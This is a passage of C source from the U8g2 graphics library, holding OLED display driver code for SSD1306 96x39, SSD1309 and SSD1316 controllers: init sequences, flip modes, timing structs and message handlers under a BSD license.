uint8_t msg, uint8_t arg_int, void *arg_ptr) { if ( msg == U8X8_MSG_DISPLAY_SETUP_MEMORY ) { u8x8_d_helper_display_setup_memory(u8x8, &u8x8_ssd1306_96x40_display_info); return 1; } else if ( msg == U8X8_MSG_DISPLAY_INIT ) { u8x8_d_helper_display_init(u8x8); u8x8_cad_SendSequence(u8x8, u8x8_d_ssd1306_96x40_init_seq); return 1; } return u8x8_d_ssd1306_96x40_generic(u8x8, msg, arg_int, arg_ptr); } /*===============================================*/ /* 96x39 OLED */ /* https://github.com/olikraus/u8g2/issues/1959 */ static const uint8_t u8x8_d_ssd1306_96x39_init_seq[] = { U8X8_START_TRANSFER(), /* enable chip, delay is part of the transfer start */ U8X8_C(0x0ae), /* display off */ U8X8_CA(0x0d5, 0x080), /* clock divide ratio (0x00=1) and oscillator frequency (0x8) */ U8X8_CA(0x0a8, 0x027), /* multiplex ratio */ U8X8_CA(0x0d3, 0), /* display offset, issue 1959 */ U8X8_C(0x040), /* set display start line to 0 */ U8X8_CA(0x08d, 0x014), /* [2] charge pump setting (p62): 0x014 enable, 0x010 disable, 0.66 OLED 0x14*/ U8X8_CA(0x020, 0x000), /* horizontal addressing mode */ U8X8_C(0x0a1), /* segment remap a0/a1, 0.66 OLED */ U8X8_C(0x0c8), /* c0: scan dir normal, c8: reverse, 0.66 OLED */ // Flipmode // U8X8_C(0x0a0), /* segment remap a0/a1*/ // U8X8_C(0x0c0), /* c0: scan dir normal, c8: reverse */ U8X8_CA(0x0da, 0x010), /* com pin HW config, sequential com pin config (bit 4), disable left/right remap (bit 5), issue 1959: 0x010 */ U8X8_CA(0x081, 0x0af), /* [2] set contrast control */ U8X8_CA(0x0d9, 0x0f1), /* [2] pre-charge period 0x0f1 */ U8X8_CA(0x0db, 0x020), /* vcomh deselect level */ U8X8_C(0x02e), /* Deactivate scroll */ U8X8_C(0x0a4), /* output ram to display */ U8X8_C(0x0a6), /* none inverted normal display mode */ U8X8_END_TRANSFER(), /* disable chip */ U8X8_END() /* end of sequence */ }; static const uint8_t u8x8_d_ssd1306_96x39_flip0_seq[] = { U8X8_START_TRANSFER(), /* enable chip, delay is part of the transfer start */ U8X8_C(0x0a1), /* segment remap a0/a1*/ U8X8_C(0x0c8), /* c0: scan dir normal, c8: reverse */ U8X8_C(0x07f), /* set display start line to -1 (not exactly sure why...) */ U8X8_END_TRANSFER(), /* disable chip */ U8X8_END() /* end of sequence */ }; static const uint8_t u8x8_d_ssd1306_96x39_flip1_seq[] = { U8X8_START_TRANSFER(), /* enable chip, delay is part of the transfer start */ U8X8_C(0x0a0), /* segment remap a0/a1*/ U8X8_C(0x0c0), /* c0: scan dir normal, c8: reverse */ U8X8_C(0x040), /* set display start line to 0 */ U8X8_END_TRANSFER(), /* disable chip */ U8X8_END() /* end of sequence */ }; static const u8x8_display_info_t u8x8_ssd1306_96x39_display_info = { /* chip_enable_level = */ 0, /* chip_disable_level = */ 1, /* post_chip_enable_wait_ns = */ 20, /* pre_chip_disable_wait_ns = */ 10, /* reset_pulse_width_ms = */ 100, /* SSD1306: 3 us */ /* post_reset_wait_ms = */ 100, /* OLEDs need much longer setup time */ /* sda_setup_time_ns = */ 50, /* SSD1306: 15ns, but cycle time is 100ns, so use 100/2 */ /* sck_pulse_width_ns = */ 50, /* SSD1306: 20ns, but cycle time is 100ns, so use 100/2, AVR: below 70: 8 MHz, >= 70 --> 4MHz clock */ /* sck_clock_hz = */ 8000000UL, /* since Arduino 1.6.0, the SPI bus speed in Hz. Should be 1000000000/sck_pulse_width_ns, increased to 8MHz (issue 215) */ /* spi_mode = */ 0, /* active high, rising edge */ /* i2c_bus_clock_100kHz = */ 4, /* data_setup_time_ns = */ 40, /* write_pulse_width_ns = */ 150, /* SSD1306: cycle time is 300ns, so use 300/2 = 150 */ /* tile_width = */ 12, /* tile_height = */ 5, /* default_x_offset = */ 32, /* flipmode_x_offset = */ 0, /* pixel_width = */ 96, /* pixel_height = */ 39 }; uint8_t u8x8_d_ssd1306_96x39(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr) { if ( msg == U8X8_MSG_DISPLAY_SETUP_MEMORY ) { u8x8_d_helper_display_setup_memory(u8x8, &u8x8_ssd1306_96x39_display_info); return 1; } else if ( msg == U8X8_MSG_DISPLAY_INIT ) { u8x8_d_helper_display_init(u8x8); u8x8_cad_SendSequence(u8x8, u8x8_d_ssd1306_96x39_init_seq); return 1; } else if ( msg == U8X8_MSG_DISPLAY_SET_FLIP_MODE ) { if ( arg_int == 0 ) { u8x8_cad_SendSequence(u8x8, u8x8_d_ssd1306_96x39_flip0_seq); u8x8->x_offset = u8x8->display_info->default_x_offset; } else { u8x8_cad_SendSequence(u8x8, u8x8_d_ssd1306_96x39_flip1_seq); u8x8->x_offset = u8x8->display_info->flipmode_x_offset; } } return u8x8_d_ssd1306_96x40_generic(u8x8, msg, arg_int, arg_ptr); } /*===============================================*/ ================================================ FILE: Bibliotecas/U8g2/src/clib/u8x8_d_ssd1309.c ================================================ /* u8x8_d_ssd1309.c Universal 8bit Graphics Library (https://github.com/olikraus/u8g2/) Copyright (c) 2017, olikraus@gmail.com All rights reserved. Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: * Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. * Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. */ #include "u8x8.h" static const uint8_t u8x8_d_ssd1309_powersave0_seq[] = { U8X8_START_TRANSFER(), /* enable chip, delay is part of the transfer start */ U8X8_C(0x0af), /* display on */ U8X8_END_TRANSFER(), /* disable chip */ U8X8_END() /* end of sequence */ }; static const uint8_t u8x8_d_ssd1309_powersave1_seq[] = { U8X8_START_TRANSFER(), /* enable chip, delay is part of the transfer start */ U8X8_C(0x0ae), /* display off */ U8X8_END_TRANSFER(), /* disable chip */ U8X8_END() /* end of sequence */ }; static const uint8_t u8x8_d_ssd1309_128x64_flip0_seq[] = { U8X8_START_TRANSFER(), /* enable chip, delay is part of the transfer start */ U8X8_C(0x0a1), /* segment remap a0/a1*/ U8X8_C(0x0c8), /* c0: scan dir normal, c8: reverse */ U8X8_END_TRANSFER(), /* disable chip */ U8X8_END() /* end of sequence */ }; static const uint8_t u8x8_d_ssd1309_128x64_flip1_seq[] = { U8X8_START_TRANSFER(), /* enable chip, delay is part of the transfer start */ U8X8_C(0x0a0), /* segment remap a0/a1*/ U8X8_C(0x0c0), /* c0: scan dir normal, c8: reverse */ U8X8_END_TRANSFER(), /* disable chip */ U8X8_END() /* end of sequence */ }; static uint8_t u8x8_d_ssd1309_generic(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr) { uint8_t x, c; uint8_t *ptr; switch(msg) { case U8X8_MSG_DISPLAY_DRAW_TILE: u8x8_cad_StartTransfer(u8x8); x = ((u8x8_tile_t *)arg_ptr)->x_pos; x *= 8; x += u8x8->x_offset; u8x8_cad_SendCmd(u8x8, 0x010 | (x>>4) ); u8x8_cad_SendCmd(u8x8, 0x000 | ((x&15))); u8x8_cad_SendCmd(u8x8, 0x0b0 | (((u8x8_tile_t *)arg_ptr)->y_pos) ); do { c = ((u8x8_tile_t *)arg_ptr)->cnt; ptr = ((u8x8_tile_t *)arg_ptr)->tile_ptr; u8x8_cad_SendData(u8x8, c*8, ptr); /* note: SendData can not handle more than 255 bytes */ /* do { u8x8_cad_SendData(u8x8, 8, ptr); ptr += 8; c--; } while( c > 0 ); */ arg_int--; } while( arg_int > 0 ); u8x8_cad_EndTransfer(u8x8); break; case U8X8_MSG_DISPLAY_SET_POWER_SAVE: if ( arg_int == 0 ) u8x8_cad_SendSequence(u8x8, u8x8_d_ssd1309_powersave0_seq); else u8x8_cad_SendSequence(u8x8, u8x8_d_ssd1309_powersave1_seq); break; #ifdef U8X8_WITH_SET_CONTRAST case U8X8_MSG_DISPLAY_SET_CONTRAST: u8x8_cad_StartTransfer(u8x8); u8x8_cad_SendCmd(u8x8, 0x081 ); u8x8_cad_SendArg(u8x8, arg_int ); /* ssd1309 has range from 0 to 255 */ u8x8_cad_EndTransfer(u8x8); break; #endif default: return 0; } return 1; } /*=================================================*/ /* offset 2 version */ /* timing from SSD1306 */ static const u8x8_display_info_t u8x8_ssd1309_128x64_noname2_display_info = { /* chip_enable_level = */ 0, /* chip_disable_level = */ 1, /* post_chip_enable_wait_ns = */ 20, /* pre_chip_disable_wait_ns = */ 10, /* reset_pulse_width_ms = */ 100, /* SSD1306: 3 us */ /* post_reset_wait_ms = */ 100, /* far east OLEDs need much longer setup time */ /* sda_setup_time_ns = */ 50, /* SSD1306: 15ns, but cycle time is 100ns, so use 100/2 */ /* sck_pulse_width_ns = */ 50, /* SSD1306: 20ns, but cycle time is 100ns, so use 100/2, AVR: below 70: 8 MHz, >= 70 --> 4MHz clock */ /* sck_clock_hz = */ 4000000UL, /* since Arduino 1.6.0, the SPI bus speed in Hz. Should be 1000000000/sck_pulse_width_ns */ /* spi_mode = */ 0, /* active high, rising edge */ /* i2c_bus_clock_100kHz = */ 4, /* data_setup_time_ns = */ 40, /* write_pulse_width_ns = */ 150, /* SSD1306: cycle time is 300ns, so use 300/2 = 150 */ /* tile_width = */ 16, /* tile_height = */ 8, /* default_x_offset = */ 2, /* flipmode_x_offset = */ 2, /* pixel_width = */ 128, /* pixel_height = */ 64 }; static const uint8_t u8x8_d_ssd1309_128x64_noname_init_seq[] = { U8X8_START_TRANSFER(), /* enable chip, delay is part of the transfer start */ U8X8_C(0x0ae), /* display off */ U8X8_CA(0x0d5, 0x0a0), /* clock divide ratio (0x00=1) and oscillator frequency (0x8) */ //U8X8_CA(0x0a8, 0x03f), /* multiplex ratio */ U8X8_C(0x040), /* set display start line to 0 */ U8X8_CA(0x020, 0x002), /* horizontal addressing mode */ U8X8_C(0x0a1), /* segment remap a0/a1*/ U8X8_C(0x0c8), /* c0: scan dir normal, c8: reverse */ // Flipmode // U8X8_C(0x0a0), /* segment remap a0/a1*/ // U8X8_C(0x0c0), /* c0: scan dir normal, c8: reverse */ U8X8_CA(0x0da, 0x012), /* com pin HW config, sequential com pin config (bit 4), disable left/right remap (bit 5) */ U8X8_CA(0x081, 0x06f), /* [2] set contrast control */ U8X8_CA(0x0d9, 0x0d3), /* [2] pre-charge period 0x022/f1*/ U8X8_CA(0x0db, 0x020), /* vcomh deselect level */ // if vcomh is 0, then this will give the biggest range for contrast control issue #98 // restored the old values for the noname constructor, because vcomh=0 will not work for all OLEDs, #116 U8X8_C(0x02e), /* Deactivate scroll */ U8X8_C(0x0a4), /* output ram to display */ U8X8_C(0x0a6), /* none inverted normal display mode */ //U8X8_C(0x0af), /* display on */ U8X8_END_TRANSFER(), /* disable chip */ U8X8_END() /* end of sequence */ }; uint8_t u8x8_d_ssd1309_128x64_noname2(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr) { if ( u8x8_d_ssd1309_generic(u8x8, msg, arg_int, arg_ptr) != 0 ) return 1; switch(msg) { case U8X8_MSG_DISPLAY_SET_FLIP_MODE: if ( arg_int == 0 ) { u8x8_cad_SendSequence(u8x8, u8x8_d_ssd1309_128x64_flip0_seq); u8x8->x_offset = u8x8->display_info->default_x_offset; } else { u8x8_cad_SendSequence(u8x8, u8x8_d_ssd1309_128x64_flip1_seq); u8x8->x_offset = u8x8->display_info->flipmode_x_offset; } break; case U8X8_MSG_DISPLAY_INIT: u8x8_d_helper_display_init(u8x8); u8x8_cad_SendSequence(u8x8, u8x8_d_ssd1309_128x64_noname_init_seq); break; case U8X8_MSG_DISPLAY_SETUP_MEMORY: u8x8_d_helper_display_setup_memory(u8x8, &u8x8_ssd1309_128x64_noname2_display_info); break; default: return 0; } return 1; } /*=================================================*/ /* offset 0 version */ /* timing from SSD1306 */ static const u8x8_display_info_t u8x8_ssd1309_128x64_noname0_display_info = { /* chip_enable_level = */ 0, /* chip_disable_level = */ 1, /* post_chip_enable_wait_ns = */ 20, /* pre_chip_disable_wait_ns = */ 10, /* reset_pulse_width_ms = */ 100, /* SSD1306: 3 us */ /* post_reset_wait_ms = */ 100, /* far east OLEDs need much longer setup time */ /* sda_setup_time_ns = */ 50, /* SSD1306: 15ns, but cycle time is 100ns, so use 100/2 */ /* sck_pulse_width_ns = */ 50, /* SSD1306: 20ns, but cycle time is 100ns, so use 100/2, AVR: below 70: 8 MHz, >= 70 --> 4MHz clock */ /* sck_clock_hz = */ 4000000UL, /* since Arduino 1.6.0, the SPI bus speed in Hz. Should be 1000000000/sck_pulse_width_ns */ /* spi_mode = */ 0, /* active high, rising edge */ /* i2c_bus_clock_100kHz = */ 4, /* data_setup_time_ns = */ 40, /* write_pulse_width_ns = */ 150, /* SSD1306: cycle time is 300ns, so use 300/2 = 150 */ /* tile_width = */ 16, /* tile_height = */ 8, /* default_x_offset = */ 0, /* flipmode_x_offset = */ 0, /* pixel_width = */ 128, /* pixel_height = */ 64 }; uint8_t u8x8_d_ssd1309_128x64_noname0(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr) { if ( u8x8_d_ssd1309_generic(u8x8, msg, arg_int, arg_ptr) != 0 ) return 1; switch(msg) { case U8X8_MSG_DISPLAY_SET_FLIP_MODE: if ( arg_int == 0 ) { u8x8_cad_SendSequence(u8x8, u8x8_d_ssd1309_128x64_flip0_seq); u8x8->x_offset = u8x8->display_info->default_x_offset; } else { u8x8_cad_SendSequence(u8x8, u8x8_d_ssd1309_128x64_flip1_seq); u8x8->x_offset = u8x8->display_info->flipmode_x_offset; } break; case U8X8_MSG_DISPLAY_INIT: u8x8_d_helper_display_init(u8x8); u8x8_cad_SendSequence(u8x8, u8x8_d_ssd1309_128x64_noname_init_seq); break; case U8X8_MSG_DISPLAY_SETUP_MEMORY: u8x8_d_helper_display_setup_memory(u8x8, &u8x8_ssd1309_128x64_noname0_display_info); break; default: return 0; } return 1; } /*=================================================*/ /* EA OLEDS102 Contributed here: https://github.com/olikraus/u8g2/pull/1497/files Manually added here, device renamed from SSD1309 to SSD1306 */ static const uint8_t u8x8_d_ssd1309_102x64_ea_oleds102_init_seq[] = { U8X8_START_TRANSFER(), /* enable chip, delay is part of the transfer start */ U8X8_C(0x40), //Set Display start line U8X8_C(0xA0), //Bottom View no Segment remap U8X8_C(0xC0), //Bottom View COM scan direction normal U8X8_C(0x2E), //StartColumnAddress U8X8_CA(0x8D, 0x95), //Switch Charge Pump (9V) U8X8_CA(0x20, 0x02), //Set Memory AddressMode U8X8_CA(0x81, 0xFF), //Set Brightness U8X8_CA(0xD5, 0x40), //Set Display Clock Divide U8X8_CA(0xD9, 0xF1), //Set Precharge Periode U8X8_CA(0xAD, 0x30), //Set Internal Ref U8X8_CAA(0x21, 0x0D, 0x72), //Set ColumnAddress to 13x8 + 10 = 114/0x72 U8X8_CAA(0x22, 0x00, 0x3F), //Set PageAddress U8X8_C(0xAF), //Display on U8X8_END_TRANSFER(), /* disable chip */ U8X8_END() /* end of sequence */ }; /* timing from SSD1306 */ static const u8x8_display_info_t u8x8_ssd1309_102x64_ea_oleds102_display_info = { /* chip_enable_level = */ 0, /* chip_disable_level = */ 1, /* post_chip_enable_wait_ns = */ 20, /* pre_chip_disable_wait_ns = */ 10, /* reset_pulse_width_ms = */ 100, /* SSD1306: 3 us */ /* post_reset_wait_ms = */ 100, /* far east OLEDs need much longer setup time */ /* sda_setup_time_ns = */ 50, /* SSD1306: 15ns, but cycle time is 100ns, so use 100/2 */ /* sck_pulse_width_ns = */ 50, /* SSD1306: 20ns, but cycle time is 100ns, so use 100/2, AVR: below 70: 8 MHz, >= 70 --> 4MHz clock */ /* sck_clock_hz = */ 4000000UL, /* since Arduino 1.6.0, the SPI bus speed in Hz. Should be 1000000000/sck_pulse_width_ns */ /* spi_mode = */ 0, /* active high, rising edge */ /* i2c_bus_clock_100kHz = */ 4, /* data_setup_time_ns = */ 40, /* write_pulse_width_ns = */ 150, /* SSD1306: cycle time is 300ns, so use 300/2 = 150 */ /* tile_width = */ 13, /* width of 13*8=104 pixel */ /* tile_height = */ 8, /* default_x_offset = */ 13, /* flipmode_x_offset = */ 13, /* pixel_width = */ 102, /* pixel_height = */ 64 }; uint8_t u8x8_d_ssd1306_102x64_ea_oleds102(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr) { uint8_t x, c; uint8_t *ptr; switch(msg) { case U8X8_MSG_DISPLAY_SET_FLIP_MODE: if ( arg_int == 0 ) { u8x8_cad_SendSequence(u8x8, u8x8_d_ssd1309_128x64_flip0_seq); u8x8->x_offset = u8x8->display_info->default_x_offset; } else { u8x8_cad_SendSequence(u8x8, u8x8_d_ssd1309_128x64_flip1_seq); u8x8->x_offset = u8x8->display_info->flipmode_x_offset; } break; case U8X8_MSG_DISPLAY_INIT: u8x8_d_helper_display_init(u8x8); u8x8_cad_SendSequence(u8x8, u8x8_d_ssd1309_102x64_ea_oleds102_init_seq); break; case U8X8_MSG_DISPLAY_SETUP_MEMORY: u8x8_d_helper_display_setup_memory(u8x8, &u8x8_ssd1309_102x64_ea_oleds102_display_info); break; case U8X8_MSG_DISPLAY_SET_CONTRAST: u8x8_cad_StartTransfer(u8x8); u8x8_cad_SendCmd(u8x8, 0x081 ); u8x8_cad_SendArg(u8x8, arg_int ); /* ssd1309 has range from 0 to 255 */ u8x8_cad_EndTransfer(u8x8); break; case U8X8_MSG_DISPLAY_DRAW_TILE: u8x8_cad_StartTransfer(u8x8); x = ((u8x8_tile_t *)arg_ptr)->x_pos; x *= 8; x += u8x8->x_offset; u8x8_cad_SendCmd(u8x8, 0x010 | (x>>4) ); u8x8_cad_SendCmd(u8x8, 0x000 | ((x&15))); u8x8_cad_SendCmd(u8x8, 0x0b0 | (((u8x8_tile_t *)arg_ptr)->y_pos)); c = ((u8x8_tile_t *)arg_ptr)->cnt; c *= 8; ptr = ((u8x8_tile_t *)arg_ptr)->tile_ptr; if ( c + x > 115u ) { c = 115u; c -= x; } do { u8x8_cad_SendData(u8x8, c, ptr); /* note: SendData can not handle more than 255 bytes */ arg_int--; } while( arg_int > 0 ); u8x8_cad_EndTransfer(u8x8); break; default: return 0; } return 1; } ================================================ FILE: Bibliotecas/U8g2/src/clib/u8x8_d_ssd1316.c ================================================ /* u8x8_d_ssd1316.c Universal 8bit Graphics Library (https://github.com/olikraus/u8g2/) Copyright (c) 2019, olikraus@gmail.com All rights reserved. Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: * Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. * Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. SSD1316: 128x39 OLED https://github.com/olikraus/u8g2/issues/919 */ #include "u8x8.h" static const uint8_t u8x8_d_ssd1316_128x32_powersave0_seq[] = { U8X8_START_TRANSFER(), /* enable chip, delay is part of the transfer start */ U8X8_C(0x0af), /* display on */ U8X8_END_TRANSFER(), /* disable chip */ U8X8_END() /* end of sequence */ }; static const uint8_t u8x8_d_ssd1316_128x32_powersave1_seq[] = { U8X8_START_TRANSFER(), /* enable chip, delay is part of the transfer start */ U8X8_C(0x0ae), /* display off */ U8X8_END_TRANSFER(), /* disable chip */ U8X8_END() /* end of sequence */ }; static const uint8_t u8x8_d_ssd1316_128x32_flip0_seq[] = { U8X8_START_TRANSFER(), /* enable chip, delay is part of the transfer start */ U8X8_C(0x0a1), /* segment remap a0/a1*/ U8X8_C(0x0c0), /* c0: scan dir normal, c8: reverse */ U8X8_END_TRANSFER(), /* disable chip */ U8X8_END() /* end of sequence */ }; static const uint8_t u8x8_d_ssd1316_128x32_flip1_seq[] = { U8X8_START_TRANSFER(), /* enable chip, delay is part of the transfer start */ U8X8_C(0x0a0), /* segment remap a0/a1*/ U8X8_C(0x0c8), /* c0: scan dir normal, c8: reverse */ U8X8_END_TRANSFER(), /* disable chip */ U8X8_END() /* end of sequence */ }; /*===================================================*/ static uint8_t u8x8_d_ssd1316_generic(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr) { uint8_t x, c; uint8_t *ptr; switch(msg) { /* handled by the calling function case U8X8_MSG_DISPLAY_SETUP_MEMORY: u8x8_d_helper_display_setup_memory(u8x8, &u8x8_ssd1316_128x32_display_info); break; */ /* handled by the calling function case U8X8_MSG_DISPLAY_INIT: u8x8_d_helper_display_init(u8x8); u8x8_cad_SendSequence(u8x8, u8x8_d_ssd1316_128x32_init_seq); break; */ case U8X8_MSG_DISPLAY_SET_POWER_SAVE: if ( arg_int == 0 ) u8x8_cad_SendSequence(u8x8, u8x8_d_ssd1316_128x32_powersave0_seq); else u8x8_cad_SendSequence(u8x8, u8x8_d_ssd1316_128x32_powersave1_seq); break; case U8X8_MSG_DISPLAY_SET_FLIP_MODE: if ( arg_int == 0 ) { u8x8_cad_SendSequence(u8x8, u8x8_d_ssd1316_128x32_flip0_seq); u8x8->x_offset = u8x8->display_info->default_x_offset; } else { u8x8_cad_SendSequence(u8x8, u8x8_d_ssd1316_128x32_flip1_seq); u8x8->x_offset = u8x8->display_info->flipmode_x_offset; } break; #ifdef U8X8_WITH_SET_CONTRAST case U8X8_MSG_DISPLAY_SET_CONTRAST: u8x8_cad_StartTransfer(u8x8); u8x8_cad_SendCmd(u8x8, 0x081 ); u8x8_cad_SendArg(u8x8, arg_int ); /* ssd1306 has range from 0 to 255 */ u8x8_cad_EndTransfer(u8x8); break; #endif case U8X8_MSG_DISPLAY_DRAW_TILE: x = ((u8x8_tile_t *)arg_ptr)->x_pos; x *= 8; x += u8x8->x_offset; u8x8_cad_StartTransfer(u8x8); u8x8_cad_SendCmd(u8x8, 0x010 | (x>>4) ); u8x8_cad_SendCmd(u8x8, 0x000 | ((x&15))); /* probably wrong, should be SendCmd */ u8x8_cad_SendCmd(u8x8, 0x0b0 | (((u8x8_tile_t *)arg_ptr)->y_pos)); /* probably wrong, should be SendCmd */ do { c = ((u8x8_tile_t *)arg_ptr)->cnt; ptr = ((u8x8_tile_t *)arg_ptr)->tile_ptr; u8x8_cad_SendData(u8x8, c*8, ptr); /* note: SendData can not handle more than 255 bytes */ arg_int--; } while( arg_int > 0 ); u8x8_cad_EndTransfer(u8x8); break; default: return 0; } return 1; } /*===================================================*/ /* QT-2832TSWUG02/ZJY-2832TSWZG02 */ static const uint8_t u8x8_d_ssd1316_128x32_init_seq[] = { U8X8_START_TRANSFER(), /* enable chip, delay is part of the transfer start */ U8X8_C(0x0ae), /* display off */ U8X8_C(0x040), /* start line */ U8X8_CA(0x081, 0x045), /* QG-2832TSWZG02 datasheet */ U8X8_C(0x0a6), /* none inverted normal display mode */ U8X8_CA(0x0a8, 0x01f), /* multiplex ratio, duty = 1/32 */ U8X8_C(0x0a1), /* segment remap a0/a1*/ U8X8_C(0x0c0), /* c0: scan dir normal, c8: reverse */ U8X8_CA(0x0d3, 0x000), /* display offset */ U8X8_CA(0x0d5, 0x080), /* clock divide ratio (0x00=1) and oscillator frequency (0x8) */ U8X8_CA(0x0d9, 0x022), /* [2] pre-charge period 0x022/f1*/ U8X8_CA(0x0da, 0x012), /* com pin HW config, sequential com pin config (bit 4), disable left/right remap (bit 5) */ U8X8_CA(0x0db, 0x020), /* vcomh deselect level */ U8X8_CA(0x08d, 0x015), /* [2] charge pump setting (p62): 0x014 enable, 0x010 disable, */ //U8X8_CA(0x0a2, 0x000), /* set display start line to 0 */ //U8X8_CA(0x020, 0x000), /* horizontal addressing mode */ // Flipmode //U8X8_C(0x0a1), /* segment remap a0/a1*/ //U8X8_C(0x0c0), /* c0: scan dir normal, c8: reverse */ U8X8_C(0x02e), /* Deactivate scroll */ //U8X8_C(0x0a4), /* output ram to display */ U8X8_END_TRANSFER(), /* disable chip */ U8X8_END() /* end of sequence */ }; static const u8x8_display_info_t u8x8_ssd1316_128x32_display_info = { /* chip_enable_level = */ 0, /* chip_disable_level = */ 1, /* post_chip_enable_wait_ns = */ 20, /* pre_chip_disable_wait_ns = */ 10, /* reset_pulse_width_ms = */ 100, /* reset time */ /* post_reset_wait_ms = */ 100, /* reset delay */ /* sda_setup_time_ns = */ 50, /* SSD1306: 15ns, but cycle time is 100ns, so use 100/2 */ /* sck_pulse_width_ns = */ 50, /* SSD1306: 20ns, but cycle time is 100ns, so use 100/2, AVR: below 70: 8 MHz, >= 70 --> 4MHz clock */ /* sck_clock_hz = */ 8000000UL, /* since Arduino 1.6.0, the SPI bus speed in Hz. Should be 1000000000/sck_pulse_width_ns */ /* spi_mode = */ 0, /* active high, rising edge */ /* i2c_bus_clock_100kHz = */ 4, /* data_setup_time_ns = */ 40, /* write_pulse_width_ns = */ 150, /* SSD1306: cycle time is 300ns, so use 300/2 = 150 */ /* tile_width = */ 16, /* tile_height = */ 4, /* default_x_offset = */ 0, /* flipmode_x_offset = */ 0, /* pixel_width = */ 128, /* pixel_height = */ 32 }; uint8_t u8x8_d_ssd1316_128x32(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr) { if ( u8x8_d_ssd1316_generic(u8x8, msg, arg_int, arg_ptr) != 0 ) return 1; switch(msg) { case U8X8_MSG_DISPLAY_INIT: u8x8_d_helper_display_init(u8x8); u8x8_cad_SendSequence(u8x8, u8x8_d_ssd1316_128x32_init_seq); break; case U8X8_MSG_DISPLAY_SETUP_MEMORY: u8x8_d_helper_display_setup_memory(u8x8, &u8x8_ssd1316_128x32_display_info); break; default: return 0; } return 1; } /*===================================================*/ /* QG-9632TLBZG02 https://datasheet.lcsc.com/lcsc/1804162033_Shenzhen-Allvision-Tech-QG-9632TLBZG02_C91216.pdf https://github.com/olikraus/u8g2/issues/1938 96x32 */ static const uint8_t u8x8_d_ssd1316_96x32_init_seq[] = { U8X8_START_TRANSFER(), /* enable chip, delay is part of the transfer start */ U8X8_C(0x0ae), /* display off */ U8X8_C(0x040), /* start line */ U8X8_CA(0x081, 0x045), /* QG-2832TSWZG02 datasheet: 0x081, 0x45 */ /* QG-9632: 0x81, 0x60 */ U8X8_C(0x0a6), /* none inverted normal display mode */ U8X8_CA(0x0a8, 0x01f), /* multiplex ratio, duty = 1/32 */ U8X8_C(0x0a1), /* segment remap a0/a1*/ U8X8_C(0x0c0), /* c0: scan dir normal, c8: reverse */ U8X8_CA(0x0d3, 0x000), /* display offset */ U8X8_CA(0x0d5, 0x080), /* clock divide ratio (0x00=1) and oscillator frequency (0x8) */ U8X8_CA(0x0d9, 0x022), /* [2] pre-charge period 0x022/f1*/ U8X8_CA(0x0da, 0x012), /* com pin HW config, sequential com pin config (bit 4), disable left/right remap (bit 5) */ U8X8_CA(0x0db, 0x020), /* vcomh deselect level */ U8X8_CA(0x08d, 0x015), /* [2] charge pump setting (p62): 0x014 enable, 0x010 disable, */ /* QG-9632: 0x8d, 0x10 */ //U8X8_CA(0x0a2, 0x000), /* set display start line to 0 */ //U8X8_CA(0x020, 0x000), /* horizontal addressing mode */ // Flipmode //U8X8_C(0x0a1), /* segment remap a0/a1*/ //U8X8_C(0x0c0), /* c0: scan dir normal, c8: reverse */ U8X8_C(0x02e), /* Deactivate scroll */ //U8X8_C(0x0a4), /* output ram to display */ U8X8_END_TRANSFER(), /* disable chip */ U8X8_END() /* end of sequence */ }; static const u8x8_display_info_t u8x8_ssd1316_96x32_display_info = { /* chip_enable_level = */ 0, /* chip_disable_level = */ 1, /* post_chip_enable_wait_ns = */ 20, /* pre_chip_disable_wait_ns = */ 10, /* reset_pulse_width_ms = */ 100, /* reset time */ /* post_reset_wait_ms = */ 100, /* reset delay */ /* sda_setup_time_ns = */ 50, /* SSD1306: 15ns, but cycle time is 